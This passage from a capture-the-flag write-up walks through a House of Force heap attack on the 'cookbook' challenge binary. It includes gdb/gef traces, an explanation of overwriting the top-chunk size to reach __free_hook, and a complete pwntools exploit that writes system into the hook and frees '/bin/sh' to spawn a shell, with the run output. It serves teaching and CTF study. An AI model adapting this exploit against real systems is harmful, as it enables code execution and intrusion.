   0xf7e6fdad:  jmp    0xf7e6fbb4
   0xf7e6fdb2:  lea    esi,[esi+eiz*1+0x0]
   0xf7e6fdb9:  lea    edi,[edi+eiz*1+0x0]
=> 0xf7e6fdc0 <free>: push   ebx
   0xf7e6fdc1 <free+1>: call   0xf7f20625
   0xf7e6fdc6 <free+6>: add    ebx,0x14323a
   0xf7e6fdcc <free+12>:  sub    esp,0x8
   0xf7e6fdcf <free+15>:  mov    eax,DWORD PTR [ebx-0x98]
[------------------------------------stack-------------------------------------]
0000| 0xffffd08c --> 0x8048b62 (add    esp,0x10)
0004| 0xffffd090 --> 0x804f2b0 ("15935728\n")
0008| 0xffffd094 --> 0xf7fb3000 --> 0x1b5db0
0012| 0xffffd098 --> 0xffffd168 --> 0xffffd178 --> 0x0
0016| 0xffffd09c --> 0x8048a20 (add    esp,0x10)
0020| 0xffffd0a0 --> 0xffffd152 --> 0xa5000a52
0024| 0xffffd0a4 --> 0xa ('\n')
0028| 0xffffd0a8 --> 0xffffd168 --> 0xffffd178 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x0804f2b0  →  "15935728"
$ebx   : 0xffffd190  →  0x00000001
$ecx   : 0xffffd152  →  0xa5000a52 ("R"?)
$edx   : 0xf7fb487c  →  0x00000000
$esp   : 0xffffd08c  →  0x08048b62  →   add esp, 0x10
$ebp   : 0xffffd0a8  →  0xffffd168  →  0xffffd178  →  0x00000000
$esi   : 0x1
$edi   : 0xf7fb3000  →  0x001b5db0
$eip   : 0xf7e6fdc0  →  <free+0> push ebx
$eflags: [carry parity ADJUST zero SIGN trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
─────────────────────────────────────────────────────────────────────── stack ────
0xffffd08c│+0x0000: 0x08048b62  →   add esp, 0x10  ← $esp
0xffffd090│+0x0004: 0x0804f2b0  →  "15935728"
0xffffd094│+0x0008: 0xf7fb3000  →  0x001b5db0
0xffffd098│+0x000c: 0xffffd168  →  0xffffd178  →  0x00000000
0xffffd09c│+0x0010: 0x08048a20  →   add esp, 0x10
0xffffd0a0│+0x0014: 0xffffd152  →  0xa5000a52 ("R"?)
0xffffd0a4│+0x0018: 0x0000000a
0xffffd0a8│+0x001c: 0xffffd168  →  0xffffd178  →  0x00000000   ← $ebp
───────────────────────────────────────────────────────────────── code:x86:32 ────
   0xf7e6fdad                  jmp    0xf7e6fbb4
   0xf7e6fdb2                  lea    esi, [esi+eiz*1+0x0]
   0xf7e6fdb9                  lea    edi, [edi+eiz*1+0x0]
 → 0xf7e6fdc0 <free+0>         push   ebx
   0xf7e6fdc1 <free+1>         call   0xf7f20625
   0xf7e6fdc6 <free+6>         add    ebx, 0x14323a
   0xf7e6fdcc <free+12>        sub    esp, 0x8
```

```
   0xf7e6fdcf <free+15>        mov    eax, DWORD PTR [ebx-0x98]
   0xf7e6fdd5 <free+21>        mov    ecx, DWORD PTR [esp+0x10]
──────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "cookbook", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0xf7e6fdc0 → free()
[#1] 0x8048b62 → add esp, 0x10
[#2] 0x8048a7b → jmp 0x8048b42
[#3] 0x804a426 → call 0x8049bed
[#4] 0xf7e15276 → __libc_start_main()
[#5] 0x8048621 → hlt
─────────────────────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0xf7e6fdc0 in free () from /lib/i386-linux-gnu/libc.so.6
gef➤  s
```

step through the instructions untill you hit `free+25` :

```
[----------------------------------registers-----------------------------------]
EAX: 0xf7fb48b0 --> 0x0
EBX: 0xf7fb3000 --> 0x1b5db0
ECX: 0x804f2b0 ("15935728\n")
EDX: 0xf7fb487c --> 0x0
ESI: 0x1
EDI: 0xf7fb3000 --> 0x1b5db0
EBP: 0xffffd0a8 --> 0xffffd168 --> 0xffffd178 --> 0x0
ESP: 0xffffd080 --> 0x804f2b0 ("15935728\n")
EIP: 0xf7e6fdd9 (<free+25>: mov    eax,DWORD PTR [eax])
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xf7e6fdcc <free+12>:  sub    esp,0x8
   0xf7e6fdcf <free+15>:  mov    eax,DWORD PTR [ebx-0x98]
   0xf7e6fdd5 <free+21>:  mov    ecx,DWORD PTR [esp+0x10]
=> 0xf7e6fdd9 <free+25>:  mov    eax,DWORD PTR [eax]
   0xf7e6fddb <free+27>:  test   eax,eax
   0xf7e6fddd <free+29>:  jne    0xf7e6fe50 <free+144>
   0xf7e6fddf <free+31>:  test   ecx,ecx
   0xf7e6fde1 <free+33>:  je     0xf7e6fe5d <free+157>
[------------------------------------stack-------------------------------------]
0000| 0xffffd080 --> 0x804f2b0 ("15935728\n")
0004| 0xffffd084 --> 0xf7e6fdc6 (<free+6>:  add    ebx,0x14323a)
0008| 0xffffd088 --> 0xffffd190 --> 0x1
0012| 0xffffd08c --> 0x8048b62 (add    esp,0x10)
0016| 0xffffd090 --> 0x804f2b0 ("15935728\n")
0020| 0xffffd094 --> 0xf7fb3000 --> 0x1b5db0
0024| 0xffffd098 --> 0xffffd168 --> 0xffffd178 --> 0x0
0028| 0xffffd09c --> 0x8048a20 (add    esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xf7fb48b0  →  0x00000000
$ebx   : 0xf7fb3000  →  0x001b5db0
$ecx   : 0x0804f2b0  →  "15935728"
$edx   : 0xf7fb487c  →  0x00000000
$esp   : 0xffffd080  →  0x0804f2b0  →  "15935728"
$ebp   : 0xffffd0a8  →  0xffffd168  →  0xffffd178  →  0x00000000
$esi   : 0x1
$edi   : 0xf7fb3000  →  0x001b5db0
$eip   : 0xf7e6fdd9  →  <free+25> mov eax, DWORD PTR [eax]
$eflags: [carry parity adjust zero SIGN trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
──────────────────────────────────────────────────────────────────────── stack ────
0xffffd080│+0x0000: 0x0804f2b0  →  "15935728"  ← $esp
0xffffd084│+0x0004: 0xf7e6fdc6  →  <free+6> add ebx, 0x14323a
0xffffd088│+0x0008: 0xffffd190  →  0x00000001
0xffffd08c│+0x000c: 0x08048b62  →   add esp, 0x10
0xffffd090│+0x0010: 0x0804f2b0  →  "15935728"
0xffffd094│+0x0014: 0xf7fb3000  →  0x001b5db0
```

```
0xffffd098│+0x0018: 0xffffd168  →  0xffffd178  →  0x00000000
0xffffd09c│+0x001c: 0x08048a20  →   add esp, 0x10
──────────────────────────────────────────────────────────────── code:x86:32 ────
   0xf7e6fdcc <free+12>        sub    esp, 0x8
   0xf7e6fdcf <free+15>        mov    eax, DWORD PTR [ebx-0x98]
   0xf7e6fdd5 <free+21>        mov    ecx, DWORD PTR [esp+0x10]
 → 0xf7e6fdd9 <free+25>        mov    eax, DWORD PTR [eax]
   0xf7e6fddb <free+27>        test   eax, eax
   0xf7e6fddd <free+29>        jne    0xf7e6fe50 <free+144>
   0xf7e6fddf <free+31>        test   ecx, ecx
   0xf7e6fde1 <free+33>        je     0xf7e6fe5d <free+157>
   0xf7e6fde3 <free+35>        lea    edx, [ecx-0x8]
──────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "cookbook", stopped, reason: SINGLE STEP
────────────────────────────────────────────────────────────────────── trace ────
[#0] 0xf7e6fdd9 → free()
[#1] 0x8048b62 → add esp, 0x10
[#2] 0x8048a7b → jmp 0x8048b42
[#3] 0x804a426 → call 0x8049bed
[#4] 0xf7e15276 → __libc_start_main()
[#5] 0x8048621 → hlt
─────────────────────────────────────────────────────────────────────────────────
0xf7e6fdd9 in free () from /lib/i386-linux-gnu/libc.so.6
gef➤  p $eax
$1 = 0xf7fb48b0
gef➤  x/w 0xf7fb48b0
0xf7fb48b0 <__free_hook>: 0x00000000
gef➤  vmmap
Start      End        Offset     Perm Path
0x08048000 0x0804c000 0x00000000 r-x /Hackery/pod/modules/house_of_force
/bkp16_cookbook/cookbook
0x0804c000 0x0804d000 0x00003000 r-- /Hackery/pod/modules/house_of_force
/bkp16_cookbook/cookbook
0x0804d000 0x0804e000 0x00004000 rw- /Hackery/pod/modules/house_of_force
/bkp16_cookbook/cookbook
0x0804e000 0x0806f000 0x00000000 rw- [heap]
0xf7dfd000 0xf7fb1000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.24.so
0xf7fb1000 0xf7fb3000 0x001b3000 r-- /lib/i386-linux-gnu/libc-2.24.so
0xf7fb3000 0xf7fb4000 0x001b5000 rw- /lib/i386-linux-gnu/libc-2.24.so
0xf7fb4000 0xf7fb7000 0x00000000 rw-
0xf7fd2000 0xf7fd5000 0x00000000 rw-
0xf7fd5000 0xf7fd7000 0x00000000 r-- [vvar]
0xf7fd7000 0xf7fd9000 0x00000000 r-x [vdso]
0xf7fd9000 0xf7ffc000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.24.so
0xf7ffc000 0xf7ffd000 0x00022000 r-- /lib/i386-linux-gnu/ld-2.24.so
0xf7ffd000 0xf7ffe000 0x00023000 rw- /lib/i386-linux-gnu/ld-2.24.so
0xfffdd000 0xffffe000 0x00000000 rw- [stack]
```

So we can see the hook at `0xf7fb48b0` which is stored in the libc between. Let's follow the process when we actually set the free hook (we will just be setting it to 0000):

```
gef➤  set *0xf7fb48b0 = 0x30303030
gef➤  x/w 0xf7fb48b0
0xf7fb48b0 <__free_hook>: 0x30303030
gef➤  s
```

After we step through the instructions up to the call:

```
[----------------------------------registers-----------------------------------]
EAX: 0x30303030 ('0000')
EBX: 0xf7fb3000 --> 0x1b5db0
ECX: 0x804f2b0 ("15935728\n")
EDX: 0xf7fb487c --> 0x0
ESI: 0x1
EDI: 0xf7fb3000 --> 0x1b5db0
EBP: 0xffffd0a8 --> 0xffffd168 --> 0xffffd178 --> 0x0
ESP: 0xffffd06c --> 0xf7e6fe5a (<free+154>: add    esp,0x10)
EIP: 0x30303030 ('0000')
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x30303030
[------------------------------------stack-------------------------------------]
0000| 0xffffd06c --> 0xf7e6fe5a (<free+154>:  add    esp,0x10)
0004| 0xffffd070 --> 0x804f2b0 ("15935728\n")
0008| 0xffffd074 --> 0x8048b62 (add    esp,0x10)
0012| 0xffffd078 --> 0xf7fb487c --> 0x0
0016| 0xffffd07c --> 0xf7e6fdc0 (<free>:  push   ebx)
0020| 0xffffd080 --> 0x804f2b0 ("15935728\n")
0024| 0xffffd084 --> 0xf7e6fdc6 (<free+6>:  add    ebx,0x14323a)
0028| 0xffffd088 --> 0xffffd190 --> 0x1
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$eax   : 0x30303030 ("0000"?)
$ebx   : 0xf7fb3000  →  0x001b5db0
$ecx   : 0x0804f2b0  →  "15935728"
$edx   : 0xf7fb487c  →  0x00000000
$esp   : 0xffffd06c  →  0xf7e6fe5a  →  <free+154> add esp, 0x10
$ebp   : 0xffffd0a8  →  0xffffd168  →  0xffffd178  →  0x00000000
$esi   : 0x1
$edi   : 0xf7fb3000  →  0x001b5db0
$eip   : 0x30303030 ("0000"?)
$eflags: [carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────── stack ────
0xffffd06c│+0x0000: 0xf7e6fe5a  →  <free+154> add esp, 0x10  ← $esp
0xffffd070│+0x0004: 0x0804f2b0  →  "15935728"
0xffffd074│+0x0008: 0x08048b62  →   add esp, 0x10
0xffffd078│+0x000c: 0xf7fb487c  →  0x00000000
0xffffd07c│+0x0010: 0xf7e6fdc0  →  <free+0> push ebx
0xffffd080│+0x0014: 0x0804f2b0  →  "15935728"
0xffffd084│+0x0018: 0xf7e6fdc6  →  <free+6> add ebx, 0x14323a
0xffffd088│+0x001c: 0xffffd190  →  0x00000001
─────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x30303030
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "cookbook", stopped, reason: SINGLE STEP
```

```
─────────────────────────────────────────────────────────── trace ────
──────────────────────────────────────────────────────────────────────
0x30303030 in ?? ()
gef➤
```

So we can see that it did try to execute the value of the web hook, 0000. Later on, we can just compare the address of free to the address of the free hook to get the offset, which is 0x144af0. Now let's execute the House of Force attack.

House of Force - Write over Wilderness Value

First let's talk about the heap wilderness. The wilderness is essentially memory that the program has mapped for the heap, but malloc hasn't yet allocated. Right at the beginning of the wilderness, is something called the wilderness value. This essentially keeps track of the size of the wilderness. That way when malloc tries to allocate space from the wilderness, it can just check this value to see if there is enough space left. If there isn't, then it will expand the wilderness by mapping more space for the heap with `mmap`. The House of Force attack focuses on attacking the wilderness value.

Essentially what House of Force does is overwrite the wilderness value with a much larger value (in our case, it will be `0xffffffff`). Then we will try and allocate an insanely large chunk from the wilderness that will obviously go well beyond the end of the heap, and into other memory regions such as libc. However since the wilderness value is big enough, malloc will go ahead and allocate that chunk. Then we can use that chunk to overwrite things in memory regions other than the heap.

Also just for reference, in a sample x64 program this is an instance of a wilderness value at `0x555555756038`:

```
gef➤  x/20g $rax
0x555555756010: 0x0000000000000000  0x0000000000000000
0x555555756020: 0x0000000000000000  0x0000000000000000
0x555555756030: 0x0000000000000000  0x0000000000020fd1
0x555555756040: 0x0000000000000000  0x0000000000000000
0x555555756050: 0x0000000000000000  0x0000000000000000
0x555555756060: 0x0000000000000000  0x0000000000000000
0x555555756070: 0x0000000000000000  0x0000000000000000
0x555555756080: 0x0000000000000000  0x0000000000000000
0x555555756090: 0x0000000000000000  0x0000000000000000
0x5555557560a0: 0x0000000000000000  0x0000000000000000
gef➤  x/g 0x555555756038
0x555555756038: 0x0000000000020fd1
```

So let's figure out how to groom the heap to allow us to do it. Picking up from where we left off with the infoleaks and a few other things (from the perspective of the exploit), we will first get a stale pointer to work with:

```
[l]ist ingredients
[r]ecipe book
[a]dd ingredient
[c]reate recipe
[e]xterminate ingredient
[d]elete recipe
[g]ive your cookbook a name!
[R]emove cookbook name
[q]uit
UNKNOWN DIRECTIVE
====================
[l]ist ingredients
[r]ecipe book
[a]dd ingredient
[c]reate recipe
[e]xterminate ingredient
[d]elete recipe
[g]ive your cookbook a name!
[R]emove cookbook name
[q]uit
$ c
[n]ew recipe
[d]iscard recipe
[a]dd ingredient
[r]emove ingredient
[g]ive recipe a name
[i]nclude instructions
[s]ave recipe
[p]rint current recipe
[q]uit
$ n
[n]ew recipe
[d]iscard recipe
[a]dd ingredient
[r]emove ingredient
[g]ive recipe a name
[i]nclude instructions
[s]ave recipe
[p]rint current recipe
[q]uit
$ d
[n]ew recipe
[d]iscard recipe
[a]dd ingredient
[r]emove ingredient
[g]ive recipe a name
[i]nclude instructions
[s]ave recipe
[p]rint current recipe
[q]uit
$ q
```

Next we will add two new ingredients, then free one. This will position it such that we can overwrite the wilderness value with the instructions:

```
====================
[l]ist ingredients
[r]ecipe book
[a]dd ingredient
[c]reate recipe
[e]xterminate ingredient
[d]elete recipe
[g]ive your cookbook a name!
[R]emove cookbook name
[q]uit
$ a
====================
[l]ist current stats?
[n]ew ingredient?
[c]ontinue editing ingredient?
[d]iscard current ingredient?
[g]ive name to ingredient?
[p]rice ingredient?
[s]et calories?
[q]uit (doesn't save)?
[e]xport saving changes (doesn't quit)?
$ n
====================
[l]ist current stats?
[n]ew ingredient?
[c]ontinue editing ingredient?
[d]iscard current ingredient?
[g]ive name to ingredient?
[p]rice ingredient?
[s]et calories?
[q]uit (doesn't save)?
[e]xport saving changes (doesn't quit)?
$ n
====================
[l]ist current stats?
[n]ew ingredient?
[c]ontinue editing ingredient?
[d]iscard current ingredient?
[g]ive name to ingredient?
[p]rice ingredient?
[s]et calories?
[q]uit (doesn't save)?
[e]xport saving changes (doesn't quit)?
$ d
```

When we take a look at the memory layout prior to the write:

```
gef➤  x/20wx 0x8d5f400
0x8d5f400:  0x00000000  0x00000000  0x00000000  0x08d5f380
0x8d5f410:  0x00000000  0x0001ebf1  0x00000000  0x00000000
0x8d5f420:  0x00000000  0x00000000  0x00000000  0x00000000
0x8d5f430:  0x00000000  0x00000000  0x00000000  0x00000000
0x8d5f440:  0x00000000  0x00000000  0x00000000  0x00000000
```

We can see the wilderness value at `0x8d5f410` , which is `0x0001ebf1` . Now let's overwrite it with instructions:

```
$ q
====================
[l]ist ingredients
[r]ecipe book
[a]dd ingredient
[c]reate recipe
[e]xterminate ingredient
[d]elete recipe
[g]ive your cookbook a name!
[R]emove cookbook name
[q]uit
$ c
[n]ew recipe
[d]iscard recipe
[a]dd ingredient
[r]emove ingredient
[g]ive recipe a name
[i]nclude instructions
[s]ave recipe
[p]rint current recipe
[q]uit
$ i
$ 0000111122223333
[n]ew recipe
[d]iscard recipe
[a]dd ingredient
[r]emove ingredient
[g]ive recipe a name
[i]nclude instructions
[s]ave recipe
[p]rint current recipe
[q]uit
```

When we look at the memory:

```
gef➤  x/20wx 0x8d5f400
0x8d5f400:  0x00000000  0x00000000  0x00000000  0x30303030
0x8d5f410:  0x31313131  0x32323232  0x33333333  0x0000000a
0x8d5f420:  0x00000000  0x00000000  0x00000000  0x00000000
0x8d5f430:  0x00000000  0x00000000  0x00000000  0x00000000
0x8d5f440:  0x00000000  0x00000000  0x00000000  0x00000000
```

Just like that, we were able to overwrite the wilderness value with `0x32323232`.

House of Power - Overwrite Free Hook

Now that we have the wilderness value overwritten, the next step is to allocate a chunk that spans outside of the heap into the libc. For this, we will actually allocate two chunks. The first will be the massive one that spans from the heap up to near the free hook. The purpose of this is to align the heap, so the next chunk we allocate will be right on the free hook.

For how much space we will allocate with the first chunk, we will allocate space equal to `freehookAddress - 16 - wildernessAddress` (we know those values thanks to the infoleaks). The reason for the `-16` is to make room for the heap metadata for the two chunks.

Let's take a look at the actual malloc allocations. First we will allocate a chunk of size `0xeec3c490` due to the memory mappings of this particular run:

```
──────────────────────────────────────────────────────────── code:x86:32 ────
     0x8048bb2                  adc    BYTE PTR [ecx-0x137c4fbb], cl
     0x8048bb8                  or     al, 0xff
     0x8048bba                  jne    0x8048b6c
 →   0x8048bbc                  call   0x8048580 <malloc@plt>
   ↳    0x8048580 <malloc@plt+0>   jmp    DWORD PTR ds:0x804d02c
        0x8048586 <malloc@plt+6>   push   0x40
        0x804858b <malloc@plt+11>  jmp    0x80484f0
        0x8048590 <puts@plt+0>     jmp    DWORD PTR ds:0x804d030
        0x8048596 <puts@plt+6>     push   0x48
        0x804859b <puts@plt+11>    jmp    0x80484f0
───────────────────────────────────────────────────── arguments (guessed) ────
malloc@plt (
   [sp + 0x0] = 0xeec3c490,
   [sp + 0x4] = 0x00000000,
   [sp + 0x8] = 0x00000010,
   [sp + 0xc] = 0xf760288c → <fgets+156> add esp, 0x20
)
───────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "cookbook", stopped, reason: BREAKPOINT
─────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048bbc → call 0x8048580 <malloc@plt>
[#1] 0x8048a71 → jmp 0x8048b42
[#2] 0x804a426 → call 0x8049bed
[#3] 0xf75bc276 → __libc_start_main()
[#4] 0x8048621 → hlt
──────────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0x08048bbc in ?? ()
```

We end up with this chunk:

```
code:x86:32 ────
    0x8048bb6                  sub    esp, 0xc
    0x8048bb9                  push   DWORD PTR [ebp-0x50]
    0x8048bbc                  call   0x8048580 <malloc@plt>
 →  0x8048bc1                  add    esp, 0x10
    0x8048bc4                  mov    ds:0x804d0a8, eax
    0x8048bc9                  mov    ecx, DWORD PTR ds:0x804d080
    0x8048bcf                  mov    edx, DWORD PTR [ebp-0x50]
    0x8048bd2                  mov    eax, ds:0x804d0a8
    0x8048bd7                  sub    esp, 0x4
threads ────
[#0] Id 1, Name: "cookbook", stopped, reason: TEMPORARY BREAKPOINT
trace ────
[#0] 0x8048bc1 → add esp, 0x10
[#1] 0x8048a71 → jmp 0x8048b42
[#2] 0x804a426 → call 0x8049bed
[#3] 0xf75bc276 → __libc_start_main()
[#4] 0x8048621 → hlt
0x08048bc1 in ?? ()
gef➤  p $eax
$1 = 0x8b1f418
```

Next up we allocate the chunk that should overlap with the free hook:

```
──────────────────────────────────────────────────────────────
code:x86:32 ────
     0x8048bb2                    adc    BYTE PTR [ecx-0x137c4fbb], cl
     0x8048bb8                    or     al, 0xff
     0x8048bba                    jne    0x8048b6c
 →   0x8048bbc                    call   0x8048580 <malloc@plt>
   ↳    0x8048580 <malloc@plt+0>   jmp    DWORD PTR ds:0x804d02c
        0x8048586 <malloc@plt+6>   push   0x40
        0x804858b <malloc@plt+11>  jmp    0x80484f0
        0x8048590 <puts@plt+0>     jmp    DWORD PTR ds:0x804d030
        0x8048596 <puts@plt+6>     push   0x48
        0x804859b <puts@plt+11>    jmp    0x80484f0
──────────────────────────────────────────────────────────────
arguments (guessed) ────
malloc@plt (
   [sp + 0x0] = 0x00000005,
   [sp + 0x4] = 0x00000000,
   [sp + 0x8] = 0x00000010,
   [sp + 0xc] = 0xf760288c → <fgets+156> add esp, 0x20
)
──────────────────────────────────────────────────────────────
threads ────
[#0] Id 1, Name: "cookbook", stopped, reason: BREAKPOINT
──────────────────────────────────────────────────────────────
trace ────
[#0] 0x8048bbc → call 0x8048580 <malloc@plt>
[#1] 0x8048a71 → jmp 0x8048b42
[#2] 0x804a426 → call 0x8049bed
[#3] 0xf75bc276 → __libc_start_main()
[#4] 0x8048621 → hlt
──────────────────────────────────────────────────────────────

Breakpoint 1, 0x08048bbc in ?? ()
gef➤

. . .

──────────────────────────────────────────────────────────────
code:x86:32 ────
     0x8048bb6                    sub    esp, 0xc
     0x8048bb9                    push   DWORD PTR [ebp-0x50]
     0x8048bbc                    call   0x8048580 <malloc@plt>
 →   0x8048bc1                    add    esp, 0x10
     0x8048bc4                    mov    ds:0x804d0a8, eax
     0x8048bc9                    mov    ecx, DWORD PTR ds:0x804d080
     0x8048bcf                    mov    edx, DWORD PTR [ebp-0x50]
     0x8048bd2                    mov    eax, ds:0x804d0a8
     0x8048bd7                    sub    esp, 0x4
──────────────────────────────────────────────────────────────
threads ────
[#0] Id 1, Name: "cookbook", stopped, reason: TEMPORARY BREAKPOINT
──────────────────────────────────────────────────────────────
```

```
trace ────
[#0] 0x8048bc1 → add esp, 0x10
[#1] 0x8048a71 → jmp 0x8048b42
[#2] 0x804a426 → call 0x8049bed
[#3] 0xf75bc276 → __libc_start_main()
[#4] 0x8048621 → hlt
──────────────────────────────────────────────────────────────
0x08048bc1 in ?? ()
gef➤  p $eax
$3 = 0xf775b8b0
gef➤  x/wx $eax
0xf775b8b0: 0x00000000
gef➤  p __free_hook
$4 = 0x0
gef➤  set __free_hook = 0xfacade
gef➤  x/wx $eax
0xf775b8b0: 0x00facade
```

As you can see, we were able to allocate a chunk to the free hook by using a House of Force attack. After that, we just write the address of system to the free hook. After that, it is just a matter of freeing a chunk that points to `/bin/sh\x00`.

Exploit

Putting it all together, we have the following exploit. This was ran on Ubuntu 17.04:

```
'''
This exploit is based off of this writeup with multiple parts (one of the best
writeups I ever saw):
https://www.youtube.com/watch?v=f1wp6wza8ZI
https://www.youtube.com/watch?v=dnHuZLySS6g
https://www.youtube.com/watch?v=PISoSH8KGVI
link to exploit: https://gist.github.com/LiveOverflow/dadc75ec76a4638ab9ea#file-
cookbook-py-L20
'''

#Import ctypes for signed to unsigned conversion, and pwntools to make life
easier
import ctypes
from pwn import *

#Establish the got address for the free function, and an integer with value zero
gotFree = 0x804d018
zero = 0x0

#Establish the target
target = process('./cookbook', env={"LD_PRELOAD":"./libc-2.24.so"})
#gdb.attach(target)

#Send the initial name, guyinatuxedo
target.sendline('guyinatuxedo')

#This function will just reset the heap, by mallocing 5 byte size blocks with
the string "00000" by giving the cookbook a name
def refresh_heap(amount):
    for i in range(0, amount):
        target.sendline("g")
        target.sendline(hex(0x5))
        target.sendline("00000")
        recv()
        recv()


#These are functions just to scan in output from the program
def recv():
    target.recvuntil("====================")

def recvc():
    target.recvuntil("[q]uit")

def recvd():
    target.recvuntil("------\n")

#This function will leak a heap address, and calculate the address of the
wilderness
def leakHeapadr():
    #Create a new recipe, and add an ingredient
    target.sendline('c')
```

```
    recvc()
    target.sendline('n')
    recvc()
    target.sendline('a')
    recvc()
    target.sendline('water')
    target.sendline('0x1')

    #Delete the recipe to free it
    target.sendline('d')
    recvc()

    #Print the stale pointer, and parse out the heap infoleak
    target.sendline('p')
    target.recvuntil("recipe type: (null)\n\n")
    heapleak = target.recvline()
    heapleak = heapleak.replace(' -', '')
    heapleak = int(heapleak)

    #Calculate the address of the wilderness
    global wilderness
    wilderness = heapleak + 0xd38

    #Print the results
    log.info("Heap leak is: " + hex(heapleak))
    log.info("Wilderness is at: " + hex(wilderness))
    target.sendline('q')
    recv()
    recvc()

#This function will grab us a leak to libc, and calculate the address for system
and the free hook
def leakLibcadr():
    #Add a new ingredient, give it a name, price, calories, then save and exit
    target.sendline('a')
    recv()
    target.sendline('n')
    recv()
    target.sendline('g')
    target.sendline('7539')
    recv()
    target.sendline('s')
    target.sendline('2')
    recv()
    target.sendline('p')
    target.sendline('1')
    recv()
    target.sendline('e')
    recv()
    target.sendline('q')
    recv()

    #Go into the create recipe menu, use the instructions write `i` to write
```

```
over the ingredient with the got address of Free
    target.sendline('c')
    recvc()
    target.sendline('i')
    target.sendline('0'*12 + p32(gotFree) + p32(zero))
    recvc()
    target.sendline('q')
    recv()

    #Print the infoleak and parse it out
    target.sendline('l')
    recvc()
    for i in xrange(9):
        recvd()
    target.recvline()
    libcleak = target.recvline()
    libcleak = ctypes.c_uint32(int(libcleak.replace("calories: ", "")))
    libcleak = libcleak.value

    #Calculate the addresses for system and the freehook, print all three
addresses
    global sysadr
    sysadr = libcleak - 0x37d60
    global freehook
    freehook = libcleak + 0x144af0
    log.info("Address of free: " + hex(libcleak))
    log.info("Address of system: " + hex(sysadr))
    log.info("Address of free hook: " + hex(freehook))

#This function will overwrite the value that specifies how much of the heap is
left (overwriteWilderness) with 0xffffffff so we can use malloc/calloc to
allocate space outside of the heap
def overwriteWilderness():

    #This will allow us to start with a fresh new heap, so it will make the next
part easier
    refresh_heap(0x100)

    #Create a new stalepointer, which will be used later
    target.sendline('c')
    recvc()
    target.sendline('n')
    recvc()
    target.sendline('d')
    recvc()
    target.sendline('q')
    recv()

    #Add two new ingredients, then free one. This will position the wilderness
value at a spot which we can easily write to it
    target.sendline('a')
    recv()
    target.sendline('n')
```

```
    recv()
    target.sendline('n')
    recv()
    target.sendline('d')
    recv()
    target.sendline('q')
    recv()

    #Write over the wilderness value which is 8 bytes away from the start of our
input, with 0xffffffff
    target.sendline('c')
    recvc()
    target.sendline('i')
    recvc()
    wildernessWrite = p32(0x0) + p32(0x0) + p32(0xffffffff) + p32(0x0)
    target.sendline(wildernessWrite)
    recvc()
    target.sendline('q')
    recv()

def overwriteFreehook():

    #Calculate the space that we will need to allocate to get right before the
free hook
    malloc_to_freehook = (freehook - 16) - wilderness
    log.info("Space from wilderness to freehook is : " +
hex(malloc_to_freehook))

    #Allocate that much space by giving a cookbook a name of that size
    target.sendline('g')
    target.sendline(hex(malloc_to_freehook))
    target.sendline('0000')
    recv()

    #Now that the heap is aligned, the next name should write over the freehook,
which we write over it with the address of system
    target.sendline('g')
    target.sendline(hex(5))
    target.sendline(p32(sysadr))
    recv()

    #Next we will allocate a new space in the heap, and store our argument to
system in it
    target.sendline('g')
    target.sendline(hex(8))
    target.sendline("/bin/sh")
    recv()

    #Lastly we will run free from the space malloced in the last block, so we
can run free with the system function as a hook, with an argument that is a
pointer to "/bin/sh"
    target.sendline('R')
    recv()
```

```
    #Recieve some additional output that we didn't do earlier (unimportant for
the exploit)
    recv()
    recv()
    recvc()

#Run the four functions that make up this exploit
leakHeapadr()
leakLibcadr()
overwriteWilderness()
overwriteFreehook()

#Drop to an interactive shell
log.info("XD Enjoy your shell XD")
target.interactive()
```

When we run it:

```
$ python exploit.py
[+] Starting local process './cookbook': pid 63919
[*] Heap leak is: 0x846d6d8
[*] Wilderness is at: 0x846e410
[*] Address of free: 0xf761fdc0
[*] Address of system: 0xf75e8060
[*] Address of free hook: 0xf77648b0
[*] Space from wilderness to freehook is : 0xef2f6490
[*] XD Enjoy your shell XD
[*] Switching to interactive mode

ERROR: ld.so: object './libc-2.24.so' from LD_PRELOAD cannot be preloaded (wrong
ELF class: ELFCLASS32): ignored.
ERROR: ld.so: object './libc-2.24.so' from LD_PRELOAD cannot be preloaded (wrong
ELF class: ELFCLASS32): ignored.
$ w
ERROR: ld.so: object './libc-2.24.so' from LD_PRELOAD cannot be preloaded (wrong
ELF class: ELFCLASS32): ignored.
 01:13:59 up  2:55,  1 user,  load average: 0.00, 0.03, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu tty7     :0               21Aug19  9days 58.15s  0.03s /bin/sh /usr/lib
/gnome-session/run-systemd-session ubuntu-session.target
$ ls
